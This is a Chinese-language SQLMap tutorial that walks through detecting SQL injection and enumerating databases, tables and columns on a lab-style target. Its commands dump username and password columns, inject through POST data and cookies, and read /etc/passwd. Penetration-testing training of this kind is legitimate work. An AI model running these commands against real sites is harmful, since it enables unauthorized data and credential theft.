介绍
SQLMap 是一款功能强大的自动化 SQL 注入工具,支持多种数据库(如 MySQL、Oracle、PostgreSQL 等),能够进行数据库指纹识别、数据提取、文件系统访问等操作。以下是 SQLMap 的一些常用功能和具体命令示例。
SQLMap 支持五种注入技术,包括布尔盲注、时间盲注、报错注入、联合查询注入和堆叠注入。
基本使用方法
检测是否存在sql注入漏洞
sqlmap -u http://www.example.com/index.php?id=1 --batch
确认注入点
这个命令将输出目标网站上所有可用的数据库名称
sqlmap -u http://www.example.com/index.php?id=1 --batch --dbs
获取数据库信息
-D dbname 表示指定数据库名称,“–tables” 表示列出所有可用的表名
sqlmap -u http://www.example.com/index.php?id=1 --batch -D dbname --tables
获取表信息
-T tablename 表示指定表名,“–columns” 表示列出所有可用的列名。
sqlmap -u http://www.example.com/index.php?id=1 --batch -D dbname -T tablename --columns
获取列信息
-C columnname 表示指定列名,“–dump” 表示将结果输出到文件中
sqlmap -u http://www.example.com/index.php?id=1 --batch -D dbname -T tablename -C columnname --dump
高级使用方法
POST请求注入
–data 表示要发送的POST数据
sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=123456" --batch
Cookie注入
–cookie 表示要使用的Cookie
sqlmap -u "http://www.example.com/index.php" --cookie="PHPSESSID=123456" --batch
文件读取
–file-read 表示要读取的文件名
sqlmap -u "http://www.example.com/index.php?id=1" --file-read="/etc/passwd" --batch
实战
检测网站是否存在SQL漏洞
sqlmap -u 'http://xx/?id=1' -b

检测出存在sql漏洞且查询MySQL使用的是5.7.26

获取当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
检测出使用的数据库的名字是 security

获取所有数据库
sqlmap -u 'http://xx/?id=1' --dbs
查询出所有的数据库名称

获取表
--tables 获取表,可以指定数据库
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
检测出security数据库中的所有表名

同时获取多个库的表名,库名用逗号分隔
sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

不指定数据库,默认获取数据库中所有的表
sqlmap -u 'http://xx/?id=1' --tables
最后面显示每个数据库下都有哪些表

获取字段
--columns 参数用来获取字段
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

不指定表名,默认获取当前数据库中所有表的字段
sqlmap -u 'http://xx/?id=1' --columns

获取字段类型
--schema 获取字段类型,可以指定库或指定表,不指定则获取数据库中所有字段的类型
sqlmap -u 'http://xx/?id=1' -D 'security' --schema
检测每个表的字段类型

获取值(数据)
--dump 获取值,也就是表中的数据,可以指定具体的库、表、字段
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump

获取指定库中所有表的数据
sqlmap -u 'http://xx/?id=1' -D 'security' --dump

默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据
kali sqlmap注入实验